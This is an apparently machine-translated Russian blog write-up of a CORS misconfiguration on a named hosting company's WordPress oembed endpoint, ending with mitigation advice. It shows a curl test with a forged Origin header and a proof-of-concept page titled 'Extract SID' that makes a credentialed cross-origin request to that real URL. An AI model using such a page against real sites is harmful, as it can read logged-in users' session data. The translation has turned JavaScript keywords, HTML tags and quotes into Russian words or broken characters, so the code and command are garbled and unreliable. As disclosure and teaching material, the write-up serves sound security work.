HTML5 принес нам несколько замечательных новых функций для работы в Интернете, предоставив поддержку новейшего мультимедиа и связи с сервером. Кроме того, все последние версии современных браузеров имеют поддержку HTML5. Функции предназначены для упрощения включения и обработки мультимедийного и графического контента в Интернете без необходимости использования каких-либо сторонних подключаемых модулей или API-интерфейсов. Совместное использование ресурсов между источниками — одна из реализаций, появившихся на свет в HTML5.

Википедия определяет совместное использование ресурсов между источниками (CORS) как «механизм, который позволяет запрашивать ограниченные ресурсы (например, шрифты) на веб-странице из другого домена за пределами домена, из которого исходит ресурс. ». Таким образом, CORS появился, по сути, для устранения некоторых ограничений, налагаемых политикой того же источника, которая блокировала бы запросы AJAX для доступа к данным на веб-странице, если они не исходят из того же источника.

Проще говоря, Imaging www.hostinger.co.uk хочет получить доступ к некоторым данным на другом веб-сайте, предположим, site.com. Этот тип запроса традиционно не разрешается в соответствии с политикой браузера Same Origin. Однако, поддерживая запросы CORS, site.com может добавить несколько специальных заголовков ответов, которые позволяют example.com получать доступ к данным.

Вы можете использовать Curl, чтобы проверить, включен ли на веб-сайте CORS или нет. Вы можете просто ввести следующую команду:

Завиток https://www.hostinger.co.uk/tutorials/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.hostinger.co.uk%2Ftutorials%2F H «Происхождение:

https://www.bing.com'-I

Скриншот (ответ):

Сервер может ответить:

Заголовок Access-Control-Allow-Origin в своем ответе, указывающий, какие исходные сайты

разрешены. Например:

Access-Control-Allow-Origin: http://www.evil.com

Access-Control-Allow-Origin: http://www.evil.com

Страница ошибки, если сервер не разрешает запрос из другого источника:

Запрос заблокирован: та же политика происхождения запрещает чтение удаленного ресурса в

http://www.site.com/. Это может быть

исправлено перемещением ресурса в тот же домен или включением CORS.

Запрос заблокирован: та же политика происхождения запрещает чтение удаленного ресурса в

http://www.site.com/. Это может быть

исправлено перемещением ресурса в тот же домен или включением CORS.

Заголовок Access-Control-Allow-Origin (ACAO) с подстановочным знаком, разрешающим все

домены:

Доступ-Контроль-Разрешить-Происхождение: *

Доступ-Контроль-Разрешить-Происхождение: *

я сделал для него быстрый poc-код

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

‹!DOCTYPE html›

‹html›

‹h2›Эксплойт CORS POC‹/h2›

‹h3›Извлечь SID‹/h3›

‹div id="демо"›

‹тип кнопки=”кнопка” onclick="cors()"›Эксплойт‹/кнопка›

‹/дел›

‹скрипт›

функция корс () {

var xhttp = новый XMLHttpRequest();

xhttp.onreadystatechange = функция () {

если (this.readyState == 4 && this.status == 200) {

document.getElementById("демо").innerHTML = alert(this.responseText);

}

};

xhttp.open("GET", https://www.hostinger.co.uk/tutorials/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.hostinger.co.uk%2Ftutorials %2F», правда);

xhttp.withCredentials = истина;

хhttp.отправить();

}

‹/скрипт›

‹/html›

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Я поместил этот файл на свой сервер как cors.html

Надеюсь, это скоро исправят

Руководство по безопасности:

Убедитесь, что URL-адреса, отвечающие с помощью Access-Control-Allow-Origin: *, не содержат конфиденциального содержимого или информации, которые могут помочь злоумышленнику в дальнейших атаках.

Разрешить только выбранные доверенные домены в заголовке Access-Control-Allow-Origin. Отдавайте предпочтение доменам из белого списка, а не к черному списку или разрешению любого домена (не используйте подстановочный знак * и не возвращайте вслепую содержимое заголовка Origin без каких-либо проверок).

Не полагайтесь только на заголовок Origin при проверке контроля доступа. Браузеры всегда отправляют этот заголовок в запросах CORS, но он может быть подделан за пределами браузера. Для защиты конфиденциальных данных следует использовать протоколы уровня приложения.

poc by

Шубхам Махешвари